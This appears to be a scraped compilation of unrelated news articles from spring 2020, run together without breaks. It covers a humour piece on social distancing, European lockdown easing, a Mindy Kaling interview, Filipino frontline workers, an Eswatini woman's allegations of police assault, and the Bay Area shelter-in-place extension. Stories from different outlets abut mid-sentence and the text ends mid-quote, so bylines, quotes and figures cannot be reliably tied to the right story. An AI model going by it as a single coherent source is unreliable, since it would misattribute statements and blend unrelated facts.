Just make a flatulent sound with your mouth (no one can see your mouth behind a mask), then pretend you have no idea whats going on when people give you your space and the stink eye. Or keep it real and let their noses be their guide to back away. Bark. It works for dogs, why not humans? Shout Run away! Run away! as you do just that. Fans of Monty Python and the Holy Grail know these words well. Sometimes you just need to make a hasty, hilarious retreat with a reference to one of the funniest films in history. Rene Guzman is a features reporter in the San Antonio and Bexar County area. He writes about pop culture and what makes San Antonio so uniquely puro San Antonio. To read more from Rene, become a subscriber. rguzman@express-news.net | Twitter: @reneguz T he drive to ease lockdowns across Europe intensified today as several countries set out blueprints for how to restore normality in everyday life. Austrias health minster Rudolf Anschober announced his country will allow gatherings up to 10 people from the end of this week. He said that restrictions on leaving home would also be scrapped and that his government had decided there was no need to extend its existing lockdown rules when they expire on Thursday. Tourism minister Elisabeth Kostinger revealed that hotels will be able to reopen on May 29. Zoos, swimming pools and other leisure attractions will also be allowed to operate again from the same date. Restaurants will be allowed to reopen with social distancing rules. In France, Prime Minister Edouard Philippe was addressing his countrys parliament on how the planned easing of its lockdown from May 11 will proceed, with schools expected to reopen. France has more than 128,000 confirmed cases, and yesterday recorded 437 new deaths bringing the total to 23,293. Europe takes it's first steps out of Coronavirus lockdown 1 /25 Europe takes it's first steps out of Coronavirus lockdown People queue at a hardware store during a partial reopening after the Austrian government eased lockdown restrictions Reuters A worker checks the temperature of a customer at the entrance of a supermarket in Itay Reuters Customers hold flowers in front of a DIY store in Graz, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images People wearing protective face masks and gloves walk in the streets as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy, Reuters People queue to enter a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Camilla Cocchi wears a face mask and gloves as she sorts out clothing in her children's clothes shop after it was allowed to reopen following lockdown measures to contain the spread of Covid-19, in Rome AP A man wearing a face mask shops in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters "Respect the 2 meters distance" banner is seen at a fish stand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19) in Venice, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A worker checks the temperature of a customer at the entrance of a supermarket, as the spread of the coronavirus disease (COVID-19) continues, in Turin, Italy Reuters Customers line up in front of a DIY store in Graz, Austria APA/AFP via Getty Images Gianfranco Mandas wears a face mask as he sorts out clothing in his children's clothes shop after it was allowed to opens following restriction measures to contain the spread of Covid-19, in Rome AP Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy, Reuters Customers wearing face masks push shopping carts in front of a DIY store in Vienna, Austria, after it re-opened on April 14, 2020, following a "shutdown" in a measure to limit the spread of the new coronavirus APA/AFP via Getty Images A man wears a protective face mask and gloves at the newsstand as the Italian government allows the reopening of some shops while a nationwide lockdown continues following the outbreak of the coronavirus disease (COVID-19), in Venice, Italy Reuters People wearing face masks work in a hardware store during a partial reopening after the Austrian government eased restrictions following the coronavirus disease (COVID-19) outbreak in Eisenstadt, Austria Reuters Customers queue at the Trastevere market, as new restrictions for open-air markets are implemented to prevent the spread of coronavirus disease (COVID-19) in Rome, Italy Reuters A general view of the parking area of a hardware store during the partial reopening of shops after the Austrian government loosens its lockdown restrictions during the global coronavirus disease (COVID-19) outbreak in Vienna Reuters The leaders of Spain, which today announced 301 more deaths, bringing the total to 23,822, and Greece were also expected to set out their plans for easing lockdown restrictions. The moves follow a video meeting of EU tourism ministers yesterday that discussed how to reopen the holiday trade and the relaxation earlier this week of some curbs in Germany, which today reported that its reinfection rate was sitting at 1.0, meaning that one person with the virus is infecting one other on average. Loading.... In the Vatican City, Pope Francis used his daily private morning Mass to urge the public to continue obeying the rules in place to avoid a second wave of the disease. Mindy Kaling isnt trying to tell everyones story shes had to break a lot of boundaries just to tell her own. Her new Netflix series, Never Have I Ever, which was out on Monday, looks to break another. The show offers a story absent from American screens: a coming-of-age comedy about a modern-day first-generation Indian American teenage girl. For all of us in the writers room, particularly those of us who were the children of immigrants [most of the staff including Kaling], it was about sharing those stories of feeling other, she says. One of the best parts about being in that room was realising that they felt so many of the same things I did, and it was such a relief. It made me feel like, OK, Im, like, normal. For Kaling, 40, who has spent most of her career writing characters she can also play, the series is something of a new frontier. A longtime comedy writer, she got her break in her mid-twenties as a writer for the American version of The Office, in which she also starred as the sassy, fearless Kelly Kapoor. After about eight seasons, she parlayed that success into The Mindy Project, which she created, wrote and again starred in; the shows lead character was loosely inspired by her mother. (Kaling has also written two humorous autobiographical books.) More recently, she co-created a 10-part adaptation of the 1994 film Four Weddings and a Funeral for Hulu, updated with a more diverse cast. Not all of her screen projects have been romantic comedies, but most have at least contained strong romcom elements. So when Netflix approached her about doing something totally different, she jumped at the chance. Maitreyi Ramakrishnan plays the lead role in Netflixs Never Have I Ever as Devi, an overachieving high school sophomore with a short fuse that gets her into difficult situations (Lara Solanski/Netflix) [Netflix] had read my books and really loved the parts where I talk about being an adolescent and a teenager, says Kaling, who created and wrote the series with Lang Fisher, a Mindy Project alumna. Because there isnt a show like this, she said, they thought it would be a great fit for them. In casting the series, Kaling says, she grew tired of seeing the same 28-year-old, gorgeous Bollywood stars audition, particularly for the lead role of Devi, an overachieving high school sophomore, partly based on Kaling, with a short fuse that gets her into difficult situations. She decided to post an open call on social media, seeking three Desi ladies to play Devi and Devis mother and cousin. (Desi is used among the South Asian diaspora to refer to the region.) Nearly 15,000 people applied, including newcomer Maitreyi Ramakrishnan, who became Devi. In a recent phone interview, Kaling talked about that casting process, about venturing beyond the romantic-comedy genre, and about trying to adapt her experiences into a show about teenagers today. These are edited excerpts from the conversation. Q: How much of the show is autobiographical? And how did you update it for Indian-American teenage girls today? Access unlimited streaming of movies and TV shows with Amazon Prime Video Sign up now for a 30-day free trial Sign up A: Netflix was open to us doing it as something set in the 1980s or the 1990s, but Id seen that done so well with shows like Fresh Off The Boat and Everybody Hates Chris. I really wanted to speak to kids now. I also thought it would be a really great way to hire a lot of young Indian American writers who can remember their teenage years more recently than me and fill our staff with them. I was also really greedy with the young actresses on the show. Maitreyi was a resource in herself. When she would do table reads, we would change the vernacular so it made sense for someone her age. Q: What stood out about Maitreyi Ramakrishnan among the thousands of applicants to your open casting call? A: With Maitreyi, there was something about her. She later said that she was very intimidated to fly to LA to come audition, but when she spoke to us, she had natural confidence. I really loved that she was Tamil, which I am also. Also, I think about colourism a lot, and I liked that she wasnt like this red-haired, green-eyed, pale-skinned Indian girl. I liked that she looked a little bit more like someone that would be in my family. She also was just naturally funny. Q: It seems like you were usually in a romcom space with your earlier work. Did you feel pigeonholed? A: Ill always love romantic comedies, and I dont see a world where I dont revisit that genre again. More even than writing about teenagers, writing about the Indian American experience growing up was really fascinating to me. But it was also painful, too. If youre someone who has a sense of humour in your twenties and thirties, it most likely means that you had a very painful adolescence, right? Q: Youve been at the forefront of South Asian representation for a long time, but theres been some criticism that some of your early roles were stereotypical. What was that like for you? Do you feel youve grown from it? A: Denzel Washington once said something that always stuck with me. Someone asked him why he doesnt play villains more often, and he said something like: theres just so few of us, and I mean so much to my community that I feel like I cant do that in this lifetime. On set: back left, Mindy Kaling, front left, Poorna Jagannathan as Nalini, centre, Richa Shukla as Kamala and right, Ramakrishnan as Devi (Lara Solanski/Netflix) That really resonated with me, because I thought that was really smart of him in a way that I have not been smart. I come from comedy, where the funniest characters are the flawed ones, like Michael Scott (Steve Carells character on The Office), and my training was for writing those characters. The problem is, theyre all white. So when you try to play that character and youre Indian, and youre the only Indian character, people have, its within their right, to say: How dare you do that to us? We have no representation. The character has bad priorities, is saying off-colour things, is selfish and all these things that Im not personally, but I find really fun to play. Thats something that I have struggled with because I just want to have the most enjoyable artistic experience. But that doesnt necessarily always fall in place with my role as a role model. Q: Do you still face that kind of criticism? A: I remember when the teaser trailer came out and Devis praying, and she says, Hey, gods, its me Devi Vishwakumar and there was a comment on Twitter saying, Oh, great that is totally not how Hindu girls talk. And I remember being incensed because when my mum used to make us pray before we took the SATs, or before we got on a plane, and I didnt know all the different names of the gods because no one had taught me, I was just like: Hey gods. Please let me do well on my SAT. Ive been working really hard and it means a lot to my parents. What I realised is that because we dont have a lot of different shows depicting Hindu teenagers praying (she laughs), it offends people when its not exactly the way that it was for them. Im still trying to figure out a way to accept that criticism. Those people who watch the show, particularly young Indian American women, are the people that I want to like it the most. And theyre the ones that are going to be the toughest on me. So its one of the biggest things I care about now as an artist. Kaling as Dr Mindy Lahiri in The Mindy Project (Rex) (Rex Features) Q: So how do you deal with that pressure of telling a story you want to tell while not feeling that needs to be every South Asian persons story? A: Im just telling a story that resonates with me, of a very specific character. And I think its just me acknowledging that over and over. Also, Id like to have a nice, long life so that I can tell enough stories with enough different kinds of characters Indian, Pakistani, Muslim, etc to show that there are lots of different kinds of ways to be Desi. I think thats the only way to do it. I also look at someone like [filmmaker] Ava DuVernay. Cherish the Day is so different than A Wrinkle in Time, but both of them tell stories about young African American women. Id love to have that relationship with South Asians in America. Q: For you as a creator then, what is the next frontier for South Asian representation? A: From watching several hundred of the auditions, I saw the hunger that I kind of hoped that was there. If this show does well, hopefully, and it just feels more normal to see Indian people on things, then there will hopefully be more shows greenlit. To me, it would be great if there is more LGBTQ content for Indian people. I feel like that is almost never talked about. In some Indian communities theres still a stigma attached to coming out. Id love to tell a story about a young queer woman. And if I dont see it, maybe I have to create something. Q: Im curious about the title. What was the thinking behind Never Have I Ever? A: (Laughs.) Im so bad at naming things, which is why my show was called The Mindy Project. This is actually something Lang, my co-creator, came up with. This is a character whose ego is so caught up in the things she hasnt done yet, hasnt been exposed to yet. And that felt really kind of natural to her personality. Maybe its a bad name. I have no idea, it probably sucks. New York Times Never Have I Ever is out on Netflix Manila (CNN Philippines Life) For those of us who are lucky to stay home in a pandemic, the days may seem long, and work, inconsequential. But for others whose services are deemed essential in this new economy, a single day tells a different story. Doctors, grocery workers, market vendors, policemen, military personnel, delivery riders, and other frontliners not only serve for extended hours, but also around the clock. They expose themselves to the virus every day. Yet without them, life as we know it already hampered by a quarantine will grind to a complete halt. CNN Philippines Life interviewed some of these individuals who may not have always chosen to lay their lives on the line, but nevertheless do so. Heres what a day in their lives looks like. Waking up at 2:30 a.m., the day starts early for market vendors like Janet Villarin. Photo by JL JAVIER Before the quarantine, Villarin procured from Malabon (among other locations) the fresh seafood she sells at the market. Photo by JL JAVIER Villarin sells fresh seafood the Sierra Madre Market in Mandaluyong. Photo by JL JAVIER 6 a.m. Market vendor Janet Villarin has already laid out a blanket of pusit, bangus, bisugo, tulingan, tilapia, and galunggong in front of her stall at the Sierra Madre Market in Mandaluyong. As of 6 a.m., residents have formed a line outside the market, eager to select the ingredients for a days or a weeks worth of meals. Villarin has been awake for four hours now. By 2:30 a.m., she rises from bed, then at 3:15 a.m. she is already at the bagsakan at Nueve de Pebrero Street, procuring supplies to be sold at her stall. By 4:30 a.m., she is let in by the guards at the market. She wears a mask to protect herself. Before the quarantine, Villarin procured from Malabon (among other locations) the fresh seafood she sells at the market. She also used to buy in bulk. Mahirap bumiyahe pag sa malayo ka kukuha, she says. Paunti-unti na lang kinukuha ko ngayon, kilo-kilo na lang, hindi na sa banyerakaunti lang naman ang diperensya. Bente o sampu lang ang patongokay na rin, kaysa mamasahe. What profit she makes as a market vendor is reserved for her three adoptive children. Ako lang ang naghahanapbuhay, says Villarin. Thankfully, her eldest aged 18 can be trusted with childcare while shes away. Sila ang naghahanda ng pagkain ko. Tasty [bread] at piniritong itlog, ilalagay sa plastic, which she takes to the market as her breakfast. This week, she expects some cash assistance from the Department of Social Welfare and Development (DSWD). Di lang naman kami ang ininterview ng DSWD, she says. Sa dami ng kapitbahay, tinapos nila yung interview ng lahat-lahat. Dapat matapos muna iyon. At 53 years old, and as a market vendor who works outside almost all week (except Monday, which is sanitation day), Villarin is more vulnerable to COVID-19 than most. By 1 p.m., she closes shop, then cleans her stall for one or two more hours before going back home, spending roughly 12 hours exposed to the virus outside. Siyempre, kinakabahan ako, she says, pero dasal lang posiguro naman babalik tayo sa dati, kasi galing naman sa China ang virus na yan. Nasa atin naman ang pag-iingat. Serving at the front lines as a grocery worker, Rocelyn Perillo makes it a point to stay protected for her family's sake. Photo by JL JAVIER Perillo sometimes needs to walk for 40 minutes to get to her place of work. Photo by JL JAVIER Strict safety measures are practiced in public establishments such as the grocery where Perillo works. Photo by JL JAVIER 7:30 a.m. Grocery worker Rocelyn Perillo is on her way to work, after having breakfast with her family and ensuring her children are taken care of. Some days, she waits for free shuttle services, provided both by the local government and the supermarket she works for. But when they do not arrive by 7:40 a.m., Perillo begins the 40-minute walk from Purok 13, Sitio Pag-asa, Alabang, Muntinlupa City, to her place of work. Shes there around 8 to 8:20 a.m., donning protective gear and arranging fresh seafood by her station before customers arrive. Lalong dumami ang mga mamimili namin, yung tipong hindi sila nauubusan ng pera, she observes. Nakakatuwa sa pakiramdam dahil merong iilan na nagpapasalamat dahil andito pa rin kami nagtatrabaho, at meron din nagsasabing mag-ingat kami. She appreciates the gratitude. All things considered, Perillo enjoys an extra allowance on Saturdays and everyday meal allowances from the agency that employs her, on top of free lunches and merienda provided at the supermarket. Her workplace also provides face shields, DTI I.D.s (for travel ban-exempt workers), and free transportation. In Purok 13, where she lives, quarantine measures are strictly enforced and volunteers pitch in to help the community. Hindi sila nagpapasok ng hindi taga-sa amin at hindi rin basta-basta nakakalabas kung walang mask o I.D. Nagtulong-tulong din sa barangay namin katulad ng pag-solicit para makabili ng chlorine or Zonrox din, para pang-disinfect sa aming lugar. By the end of her shift at 6 p.m., she again waits for the shuttle. May libreng sakay naman po kami, kaso limited lang po kaya mas madalas naglalakad talaga akong umuwi, she says. Yet Perillo worries despite observing protective and precautionary measures to prevent herself from contracting the virus. Bilang isang empleyado nakakabahala kasi kami yung na-e-expose sa kung sino-sinong costumer lalo nat may mga anak ako, she says. Kaya ginagawa ko nalang yung dapat gawin, katulad ng pagsusuot ng mask, face shield, gloves, paghuhugas ng kamay at sanitizer, then pag nakauwi ng bahay linalabhan ko na lang yung sinuot ko para mas makaiwas na rin, she adds. Bago lumapit sa mga anak ko, which she does by 7:30 p.m. nagpapahinga muna ako. Lorenz Cabrera continues to serve as a food delivery driver in Pasay amid the quarantine. Photo by JL JAVIER Following new protocol on handling of orders, delivery drivers are faced with bigger responsibility. Photo by JL JAVIER While traffic may have cleared up to facilitate deliveries, riders like Cabrera dont exactly have it easy. Photo by JL JAVIER 10 a.m. Lorenz Cabrera, a food delivery rider, is off to pick up his fifth delivery of the day. His seventh month on the job was greeted by a quarantine, but it does not dampen his spirits. Every week pumi-pick ako ng shift na gusto ko, kasi pwede ka pumili kung anong oras at araw mo lang gusto magtrabaho, he says. All around Pasay, he picks up requests for orders and delivers them to households rendered restless by the lockdown and availing of free delivery promos. Sobrang daming orders lalo na sa lunch at dinner time, he adds, tapos after ng shift ko ni-re-remit ko yung na-collect kong cash sa nearest remittance center. This quarantine, his food delivery company opted to provide their salaries weekly. Malaking tulong sa aming mga riders yung ginawa [nila] na yun, he says. Even before the quarantine, he also has the liberty to choose his own shift. Kahit na hindi ka duty ng 8 hours, basta masipag ka, maganda ang kikitain. At dahil doon nabibili ko yung mga kailangan sa bahay at nakakatulong ako sa pamilya ko, he adds. While traffic may have cleared up to facilitate deliveries, riders like Cabrera dont exactly have it easy. Mahirap lang is yung mga saradong daanan at ayaw magpapasok, tumatagal ang deliver Kaya umiikot kami kahit malayo para lang madala yung foods. In compliance with curfew periods, Cabrera rides home by 6 p.m., as opposed to his usual 10 p.m. before the quarantine. He notes that while some areas in Pasay strictly observe the lockdown, others do not. Riding around the city, Cabrera observes the lack of enforcement of physical distancing in public areas as of our interview date. Marami akong nadadaanang lugar dito sa Pasay na hindi nag-social distance, sige pa din ang kumpulan sa talipapaat may iilan din akong nakita na mismong frontliners ng barangay ay walang face mask. Sa palagay ko, mas okay kung talagang wala munang lalabas, he says. As in totally lockdown. Marami kasi talagang matitigas ang ulo. Captain Alexis Tuazon is one of the front liners running a checkpoint in Kawit, Cavite. Photo by JL JAVIER Checkpoints are manned by either police or military personnel. Photo by JL JAVIER Tuazon takes it as his duty to ensure safety in his area of assignment through strict enforcement of the quarantine. Photo by JL JAVIER 4 p.m. Captain Alexis Tuazon stands at a checkpoint in Kawit, Cavite to strictly enforce the terms of the quarantine. Umaga, tanghali at gabi, ako ay nag-iikot sa aming area of responsibility upang masiguro na ang aking mga tao ay sumusunod sa mga deriktiba ng Inter Agency Task Force at ng higher head quarters ng Philippine National Police patungkol sa enhanced community quarantine. A quarantine is a time of great confusion, in which law enforcers are tasked to clarify what citizens may or may not do. Noong nagsimula ang enhanced community quarantine, says Tuazon, maraming motorista ang naguluhan dahil sa pagbabago ng kanilang araw-araw na pamumuhay sapagkat naging limitado na ang kanilang mga kilos. In the Philippine response to the COVID-19, police and military personnel like Tuazon take on a greater role: to fulfill the marching orders of the president. Para sa akin, ang pagsasailalim ng ating pangulo sa enhanced community quarantine ay isa sa pinaka-epektibong paraan upang mapigilan ang pagkalat ng nakamamatay na virus, he says. Malaking tulong na tanging mga mahahalagang serbisyo ang pinapayagan na magtrabaho at lumabas sa kanilang mga tahanan. Yet, even as he has to apprehend violators within his community, a pandemic is also a time when social inequalities are made more apparent a matter not lost on Tuazon. Noong nagsimula ang enhanced community quarantine sa kabuuan ng Luzon, nasaksihan ko ang kahirapan ng mga nawalan ng trabaho na umaasa na lamang sila sa ayudang ibibigay ng pamahalaan at ibang pribadong sektor upang makakain ang kanilang mga pamilya at mairaos ang kanilang pang araw-araw na pamumuhay, he says. The police force has been praised for holding the line and, most recently, also criticized for abuses of power of its erring officials. In his checkpoint in Kawit, Tuazon keeps to his sworn obligation to serve the people despite the circumstances, and even as he fears for his own life and for his family. By 11 p.m., he calls it a day and rests, spending roughly 15 hours on duty since 7:45 a.m. But he does not go home. He sleeps at the police station most days, believing that doing so lessens the risk that his family will contract the virus from him. Bilang isang normal na tao na miyembro ng pambansang pulisya ng Pilipinas ay natural lamang na makaramdam ako ng takot sa aking araw-araw na pagtatrabaho, sapagkat ang kinakaharap natin na kalaban ngayon ay hindi natin nakikita, he says. Subalit ito ang aking sinumpaang tungkulin, na mapanatiling ligtas at payapa ang ating pamayanan. Barangay executive officer Andrew Ledesma takes his responsibility seriously, especially at this time. Photo by JL JAVIER Ledesma says that people sometimes give the barangay officials and volunteers food at the checkpoint so they can continue carrying out their tasks. Hindi nawawalan ng pagkain dyan, He says. Photo by JL JAVIER During the quarantine, barangay officers like Ledesma have no notion of shifts. As much as possible, he must always be in the frontlines. Photo by JL JAVIER 8 p.m. Barangay Hagdang Bato Libis is at the crossroads of Mandaluyong and San Juan, with convenient shortcuts for motorists making it a busy passageway for deliveries, quarantine or not. Not all deliveries are allowed to enter the barangay, however. Barangay executive officer Andrew Ledesma takes his responsibility seriously, especially at this time. Pag delivery, strict kami, he says. Minsan may galing ng Rizal, so dito, pinapa-stop namin sila, sinasabi namin sa delivery, pakitawagan yung customer, papuntahin dito. Rizal has implemented its own lockdown since April 6. Meron isang instance na nagcomplain, kasi senior daw siya [at may delivery sa kanya], he adds, sabi na lang namin, ipautos na lang sa ibang tao [at kunin dito sa checkpoint]. Barangay officers like Ledesma play a flexible, but definite role in all this: they help ensure quarantine rules are followed, and contain troubles on the ground by way of responding to various complaints. Most of the time, they just help out in any way they can. Kung merong papasok dito, like senior citizens, kami na nagbubuhat, tinatanong namin, saan kayo nakatira, dadalhin na namin sa bahay nila, he says. Ledesma especially remembers that time he drove a person suspected of COVID-19 to a nearby hospital. May nag-radyo sa akin [last month], emergency. So yung tao, talagang no pulse, no breath, he says. Na-shock ako. Pagbalik ko [sa bahay], napaisip ako Kasi siyempre hindi ko alam yung sitwasyon ng patient, saan galing, history niya, he says. Iniwan ko yung sasakyan, tumakbo ako sa amin, naligo ako. Thankfully, the patient did not test positive for COVID-19. At these times, barangay officers like Ledesma have no notion of shifts. As much as possible, he must always be in the frontlines. Noong lumabas ang COVID, actually wala kaming tulog eh, he says. Konting tulog [na lang], three to four hours, bangon na naman, duty na naman. He has no idea how a new normal looks like after quarantine restrictions are lifted. For now, he complies with official directives and helps other people do the same. Tulungan lang, kung may problema, tulong-tulong muna, he says. Tigil muna ang pulitika. Dr. Jarylle Chu from the Makati Medical Center handles cases of COVID-19. Photo by JL JAVIER Her shift would start at 7 a.m. and end the same time on the next day. Photo by JL JAVIER Doctors like Chu have tight rotational duties. She spends one week at the hospital then one week at home. Photo by JL JAVIER 7 a.m. Dr. Jarylle Chu, a nephrology fellow at Makati Medical Center, is on her way home after a week of duty in the hospital. Her ride home, as with her rides to and from the hospital these days, is care of Grab Ben. Makati Med has its own drop-off shuttle service, but Grab Ben (as she fondly calls him) or Mang Ben, is the driver of Dr. Claver Ramos, Chus consultant for her fellowship. A month ago, Chu did not know how to get home when the quarantine was suddenly implemented during her shift. Luckily, Ramos immediately offered her free rides to and from work for the duration of her quarantine duty. Medyo nakakahiya, pero this season, wala akong way, he says. Not everyone is privileged to have those generous people. If not for Ramos offer, maglakakad ako pa-EDSA, 30 minutes or so, says Chu. Tapos aantayin ko yung bus, na sana maabutan ko, kasi pag di mo maabutan yung bus, another three hours ang sunod niyang daan. That first day of the quarantine and the early days of the spread of COVID-19, a lot of things were uncertain. The challenge came because it was an unknown disease. It was something we did not know how to handle, says Chu. For those who came in sick, talagang malala sila nung dumating, talagang walang nakakahanap ng [support], she adds. Lahat ng specialties nag-chip in sila to find support. Those days, when someone was intubated, the prognosis was bleak: they were seen as good as dead. Eventually, things improved, at least in Makati Med. Mas marami na ang nakakauwi ngayon na di nakatubo, says Chu. The improvements came because doctors and medical personnel were constantly learning and on their feet. Chu herself has a tight rotational duty, where she spends one week at the hospital then one week at home. Since walang masakyan at nakatira ako sa Mandaluyong, tumira ako sa call room ng Makati Med, so sa 10th floor lang ako...so technically, nakatira ako sa Makati Med, she says with a laugh. Her shift (for COVID-19 cases, which now take precedence over her regular shift in the renal care services / kidney unit) starts at 7 a.m. in Covidlandia. After examining endorsed cases and receiving protective gear, she eats breakfast, but doesnt drink much water. Iihi kasi kami. The hazmat kasi is very expensive and dino-donate siya ng most people. Kulang kasi, eh ang dami naming nasa loob. For a 12-hour shift, preserving the hazmat suit ideally means no bathroom breaks for the same number of hours. Pwede namang lumabas, says Chu, pero alam mo yung guilt na, sayang to eh...natapon ko. The hazmat suit also takes 30 minutes to wear, and another 30 minutes to take off: If mali ang pagakasuot mo, youre as good as infected, she says. Medical personnel also have the bear with the heat while inside it. By the end of her shift at 7 a.m. the next day, Chu is heavily burdened not only by the weight of the hazmat, but by sheer physical, mental, and psychological exhaustion. She spends the whole day resting on the 10th floor, and then its time to put on the suit again. It helps that we talk to friends in the medical world, she says, as a way of keeping her spirits up. Pinagtatawanan na lang [namin] ang pinagdadaanan [namin] Kung sino na lang kasama mo diyan, kausapin mo doon Pare-pareho naman kami, yung mga nurses at tagalinis, pare-pareho naman kaming nagtatrabaho. Arguably, medical personnel carry the heaviest burden in curbing the tide of the pandemic, as they do not only deal with human lives; any available data arising from their work should also guide policy making. They have thus been valorized as heroes (among other frontliners) in the media. Its a label that may have lost its meaning. Siguro nga during those early times, sinasabi na... suwerte ka because you died for your country. Kasi those times, di naman talaga tayo handa. Walang handa sa pandemic, says Chu. Now that were approaching two months in quarantine, she says, di na siya dapat nangyayari. For Chu, the bottomline is that no doctor should die. At the very least, not anymore. *** Frontliners have been thanked all over the world in many different ways: through songs sung in balconies, through tribute videos, through generous donations of protective gear, among others. No matter how big the gesture, however, expressions of gratitude are for naught if not repaid in kind. This does not merely mean providing for substantial hazard pay. Just by way of example, for doctors and the medical community, this should also mean additional funding for important research. For market vendors, street vendors, and other workers in the informal economy, this means inclusive social security and social safety nets from both national and local government. For contractual workers, like delivery riders or grocery workers, it means tilting laws in their favor to avoid exploitation by some employers. Government workers and volunteers also need to have ample benefits and incentives for their public service, and their efforts must not be derailed by bureaucratic red tape. All these go beyond the parameters of a crisis, let alone a pandemic. Out of the six interviewees, only Ledesma, the barangay officer, and Tuazon, the police captain, expressly stated that they receive hazard pay. It is highly unlikely that a market vendor such as Villarin would be entitled to it, even though her work is as crucial and hazardous as the others. Chu has not had the opportunity to check if she receives one, in light of her long duty hours. Setting aside financial considerations, Ledesma implies that being a frontliner entails helping freely and without thought of repayment. Nasa puso ang pagtulong, he says. In his barangay, four have tested positive for COVID-19 as of our interview date. All were asymptomatic. All were frontliners. At home, Ledesmas wife and five children could only hope for his good health, and safe return. *** Produced by ELIZABETH RUTH DEYRO and DON JAUCIAN Cover design by THE PUBLIC SCHOOL MANILA MBABANE The wife of fugitive, Zweli Martin Dlamini, has come out to claim that she has been interrogated, suffocated and harassed by the police in front of her two children. Nompendulo Nokuthula Mkhonta has since filed an urgent application at the Mbabane Magistrates Court where she is seeking an order interdicting the police or anyone acting of their behest from allegedly physically assaulting, harassing and insulting her. Respondents in the matter are; the national commissioner of police, deputy prime minister, Commission of Human Rights and Public Administration and the attorney general. search In her application, Mkhonta narrated that on April 10, 2020 at around 3pm while she was at her home at KaLaMgabhi Etiyeni, a group of about eight police officers, largely male, came to her homestead and conducted a search. According to the applicant (Mkhonta), the law enforcers were armed to the teeth and were travelling in two motor vehicles. She recounted that when the police arrived at her place of abode, they were not in possession of a search warrant. They largely searched the bedroom and took to their possession some material belonging to my husband Zweli Martin Dlamini. I was born at KaLaMgabhi and my family has been living there for six decades, submitted Mkhonta. She alleged that the security personnel ordered her to go with them and she was effectively arrested. Mkhonta said when she was arrested; she left behind her two children aged four and seven on their own. The police were hostile and they called me with unpalatable words which I cannot repeat due to respect of the decorum of the court, averred the applicant. Mkhonta further claimed that she was taken to the Royal Eswatini Police Service Headquarters where she was interrogated by a contingent of police officers who wanted to know the whereabouts of her husband. She informed the court that the police officers were led by officers identified as Mthembu and Shiba. I wish to state that when I informed them that I do not know the whereabouts of my husband, they then assaulted me with open hands on my face and continued to call me with unpalatable words, averred the wife. handcuffed She further asserted that the law enforcers then handcuffed her and Mthembu ordered the other police officers to get tools to deal with her. Mkhonta alleged that the police officers then proceeded to suffocate her with a plastic bag while in handcuffs. I pleaded with them- informing them that I was not a journalist and that I should not be punished for what they were looking my husband for but they continued (sic). I was later released after 6pm without being charged, alleged the applicant. Mkhonta submitted that the police allegedly threatened to come back for more questions soon. She said she took the veiled threat seriously based on the suffering she was occasioned at the hands of the police. She contended that the court had jurisdiction over the matter by virtue of the fact that the cause of action mainly arose within its jurisdiction and due to the fact that all the respondents were located within its command. The wife is represented by renowned Human Rights Lawyer Thulani Maseko. For more coverage, visit our complete coronavirus section here. On Monday, health officials across six Bay Area counties announced the region-wide shelter-in-place order first issued March 17 will be extended "through May," but will allow for an unspecified limited easing of specific restrictions for a small number of lower-risk activities." The full details of the new order have not been released, but news that shelter-in-place will continue through May is likely the last thing Bay Area residents suffering from "quarantine fatigue" wanted to hear. A four-week extension of the order originally scheduled to expire on May 3 is curious, especially when evaluating where the region currently stands in combating the coronavirus pandemic, as well as the four criteria for reopening established in a widely circulated American Enterprise Institute report. The four criteria are: 1. High testing capacity, 2. A robust contact tracing system, 3. Enough hospital beds to handle COVID-19 patients, and 4. A sufficiently low rate of transmission. When speaking to SFGATE two weeks ago, UCSF epidemiologist Dr. George Rutherford stated the Bay Area has plenty of hospital beds, and hypothesized that the infection rate was already sufficiently low, citing the region's encouraging hospitalization data and the leveling off of new cases. On Monday, the number of coronavirus patients in Bay Area hospitals hit its lowest point since the state started recording county-by-county data, seemingly confirming that conditions 3 and 4 have already been met in the Bay Area. That leaves testing and contact tracing, but Rutherford stated that both could be in place sometime in early-to-mid May, which raises the question of why localities felt the need to extend shelter-in-place all the way to June. Rutherford said Monday he understands why local officials extended the order to May 31 so long as they are prepared to lift the order once the testing and contact tracing conditions are met. "I think its wise to extend and miss on the long end and not the short end," he said. "They don't want to set the date for May 10 and then say, 'Oh we're not ready, it's May 14, now,' and then say, 'Wait, actually, it's May 20.' Or, they can set the date for June 1, and if they get to the right place beforehand, then they stop early. Theres enough quarantine fatigue out there that rather than have small incremental increases, they can just put it out there at the farther end and one day say, 'Oh weve gotten there sooner than we thought. We can open up now.'" The Bay Area has not yet met the testing and contact tracing requirements, but appears to be well on the way toward that goal. Rutherford stated that contact tracing is "online" in the city of San Francisco, but not the rest of the Bay Area yet. Ramping up testing remains a challenge, but the number of testing sites in the Bay Area continues to increase, and Rutherford is still optimistic the region can be where it needs to be sometime in May. However, even if the Bay Area meets the four criteria for reopening, the region is subject to the mandates of Governor Gavin Newsom and state health officials. "The statewide shelter-in-place order supersedes the local ones," Rutherford said. "It doesnt matter what we say locally, the state order takes precedence." It is unclear when the state would consider lifting shelter-in-place. Newsom and health officials have previously relied on an internal model that projects a mid-May peak of cases, hospitalizations and deaths even when accounting for rigorous social distancing. These predictions have not come to pass and Newsom himself has since acknowledged the state has hit a "plateau" with officials waiting for hospitalization and death numbers "to decline on a consistent basis and not episodic basis." Antibody studies in Santa Clara and Los Angeles counties have also revealed initial projections regarding COVID-19's mortality and hospitalization rates were likely too high due to a massive underreporting of infections. We havent known the true extent of COVID-19 infections in our community because we have only tested people with symptoms, and the availability of tests has been limited, said Neeraj Sood, a USC professor who served as 